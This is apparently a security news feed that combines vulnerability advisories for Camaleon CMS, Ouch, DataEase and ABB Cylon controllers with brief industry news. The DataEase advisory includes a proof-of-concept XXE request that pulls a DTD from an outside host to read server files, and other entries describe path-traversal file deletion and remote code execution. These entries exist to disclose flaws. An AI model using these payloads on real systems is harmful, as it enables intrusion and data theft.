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GHSA-3hp8-6j24-m5gm: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)

The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently. Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method: ```ruby def actions authorize! :manage, :media if params[:media_action] != 'crop_ur...

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Microsoft Trims Cloud Cyberattack Surface in Security Push

The company has jettisoned hundreds of thousands of unused apps and millions of unused tenants as part of its Secure Future Initiative.

GHSA-2wq5-g96f-mv3v: Ouch! allows a segmentation fault due to use of uninitialized memory

When trying to decompress a file using "ouch", we can reach the function "ouch::archive::zip::convert_zip_date_time". In the function, there is a unsafe function, "transmute". Once the "transmute" function is called to convert the type of "month" object, the address of the object is changed to the uninitialized memory region. After that, when other function tries to dereference "month", segmentation fault occurs.

GHSA-4m9p-7xg6-f4mm: DataEase has an XML External Entity Reference vulnerability

### Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. 1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn ------WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a <?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'> %EvilDTD; %LoadOOBEnt; %OOB; ]> ------WebKitFormBoundary6OZBNygiUCAZEbMn-- // 1.dtd的内容 <!ENTITY % resource SYSTEM "file:///...

100 million+ US citizens have records leaked by background check service

A background check service called MC2 Data has leaked information of over 100 million US citizens in an unprotected online database.

Mastercard's Bet on Recorded Future a Win for Cyber-Threat Intel

The $2.65B buy validates the growing importance of threat intelligence to enterprise security strategies.

Target Practice: Honing Critical Skills on Cyber Ranges

Cyber ranges are a great way for cyber professionals to keep up on emerging threats and new technologies — while having a little fun.

ABB Cylon Aspect 3.08.01 (bigUpload.php) Remote Code Execution

The ABB BMS/BAS controller suffers from a remote code execution vulnerability. The vulnerable uploadFile() function in bigUpload.php improperly reads raw POST data using the php://input wrapper without sufficient validation. This data is passed to the fwrite() function, allowing arbitrary file writes. Combined with an improper sanitization of file paths, this leads to directory traversal, allowing an attacker to upload malicious files to arbitrary locations. Once a malicious file is written to an executable directory, an authenticated attacker can trigger the file to execute code and gain unauthorized access to the building controller.

ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Arbitrary File Delete

The BMS/BAS controller suffers from an arbitrary file deletion vulnerability. Input passed to the 'file' parameter in 'databasefiledelete.php' is not properly sanitised before being used to delete files. This can be exploited by an unauthenticated attacker to delete files with the permissions of the web server using directory traversal sequences passed within the affected POST parameter.

Dark Web Sales Fuel 32% Increase in Global Healthcare Cyberattacks

Healthcare organizations face a 32% surge in cyberattacks, with sensitive patient data being sold on the Dark Web.…